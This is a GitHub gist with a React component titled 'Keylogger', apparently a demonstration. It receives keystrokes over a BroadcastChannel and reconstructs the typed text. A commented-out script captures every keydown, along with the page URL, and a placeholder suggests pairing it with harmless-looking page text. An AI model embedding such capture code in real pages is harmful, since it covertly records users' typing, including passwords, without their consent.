Created
December 1, 2025 10:07
-
-
Save tomschall/1c46d153f61ded2d215ea0e06a0edea7 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import React, { useEffect, useState } from 'react'; | |
| type KeyMessage = { | |
| type: 'key'; | |
| key: string; | |
| code: string; | |
| ts: number; | |
| url?: string; | |
| }; | |
| const KeyboardReceiver: React.FC = () => { | |
| const [supported, setSupported] = useState(true); | |
| const [log, setLog] = useState<string[]>([]); | |
| const [typedText, setTypedText] = useState<string>(''); | |
| useEffect(() => { | |
| if (typeof BroadcastChannel === 'undefined') { | |
| setSupported(false); | |
| return; | |
| } | |
| const channel = new BroadcastChannel('keyboard-demo'); | |
| const handleMessage = (event: MessageEvent) => { | |
| const data = event.data as Partial<KeyMessage>; | |
| if (data.type !== 'key' || !data.key) { | |
| return; | |
| } | |
| const time = new Date(data.ts ?? Date.now()).toLocaleTimeString(); | |
| const from = data.url ? ` (${data.url})` : ''; | |
| const line = `[${time}] key="${data.key}", code="${data.code}"${from}`; | |
| // Detail-Log (technisch) | |
| setLog((prev) => [...prev, line]); | |
| // Lesbarer Tippstrom | |
| setTypedText((prev) => { | |
| const key = data.key as string; | |
| // Normale sichtbare Zeichen (z.B. "a", "b", "1", "#", ...) | |
| if (key.length === 1) { | |
| return prev + key; | |
| } | |
| // Space | |
| if (key === ' ' || key === 'Spacebar' || key === 'Space') { | |
| return prev + ' '; | |
| } | |
| // Enter / Return -> neue Zeile | |
| if (key === 'Enter') { | |
| return prev + '\n'; | |
| } | |
| // Backspace -> letztes Zeichen löschen | |
| if (key === 'Backspace') { | |
| return prev.slice(0, -1); | |
| } | |
| // Alles andere (Shift, Ctrl, ArrowLeft, F1, ...) ignorieren im Text, | |
| // aber im Log bleiben sie sichtbar. | |
| return prev; | |
| }); | |
| }; | |
| channel.addEventListener('message', handleMessage); | |
| return () => { | |
| channel.removeEventListener('message', handleMessage); | |
| channel.close(); | |
| }; | |
| }, []); | |
| const clearLog = () => setLog([]); | |
| const clearText = () => setTypedText(''); | |
| if (!supported) { | |
| return ( | |
| <div style={{ padding: '1rem', fontFamily: 'system-ui, sans-serif' }}> | |
| <h2>BroadcastChannel nicht unterstützt</h2> | |
| <p>Probiere einen aktuellen Chrome, Edge oder Firefox.</p> | |
| </div> | |
| ); | |
| } | |
| return ( | |
| <div | |
| style={{ | |
| fontFamily: 'system-ui, sans-serif', | |
| padding: '1rem', | |
| maxWidth: 800, | |
| margin: '0 auto', | |
| }} | |
| > | |
| <p style={{ marginTop: '5rem' }}> </p> | |
| <h1>Keylogger</h1> | |
| <section style={{ marginTop: '1.5rem' }}> | |
| <pre | |
| style={{ | |
| marginTop: '0.5rem', | |
| minHeight: 220, | |
| maxHeight: 200, | |
| overflow: 'auto', | |
| padding: '0.75rem', | |
| background: '#111', | |
| color: '#0f0', | |
| borderRadius: 8, | |
| fontSize: 22, | |
| whiteSpace: 'pre-wrap', | |
| }} | |
| > | |
| {typedText || '(noch nichts empfangen)'} | |
| </pre> | |
| <button | |
| type="button" | |
| onClick={clearText} | |
| style={{ | |
| padding: '0.3rem 0.8rem', | |
| borderRadius: 6, | |
| border: '1px solid #ccc', | |
| background: '#f5f5f5', | |
| cursor: 'pointer', | |
| fontSize: 13, | |
| }} | |
| > | |
| Text löschen | |
| </button> | |
| </section> | |
| <section style={{ marginTop: '1.5rem' }}> | |
| <pre | |
| style={{ | |
| marginTop: '0.5rem', | |
| minHeight: 200, | |
| maxHeight: 260, | |
| overflow: 'auto', | |
| padding: '0.75rem', | |
| background: '#111', | |
| color: '#0f0', | |
| borderRadius: 8, | |
| fontSize: 22, | |
| }} | |
| > | |
| {log.length === 0 ? '(noch keine Events empfangen)' : log.join('\n')} | |
| </pre> | |
| <button | |
| type="button" | |
| onClick={clearLog} | |
| style={{ | |
| padding: '0.3rem 0.8rem', | |
| borderRadius: 6, | |
| border: '1px solid #ccc', | |
| background: '#f5f5f5', | |
| cursor: 'pointer', | |
| fontSize: 13, | |
| }} | |
| > | |
| Log leeren | |
| </button> | |
| </section> | |
| </div> | |
| ); | |
| }; | |
| export default KeyboardReceiver; | |
| /* | |
| <script> | |
| (function () { | |
| if (typeof BroadcastChannel === "undefined") { | |
| console.warn("BroadcastChannel wird in diesem Browser nicht unterstützt."); | |
| return; | |
| } | |
| const channel = new BroadcastChannel("keyboard-demo"); | |
| document.addEventListener("keydown", (event) => { | |
| channel.postMessage({ | |
| type: "key", | |
| key: event.key, | |
| code: event.code, | |
| ts: Date.now(), | |
| url: window.location.href, | |
| }); | |
| }); | |
| })(); | |
| </script> | |
| Hier kommt ein harmloser Text hin. | |
| */ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment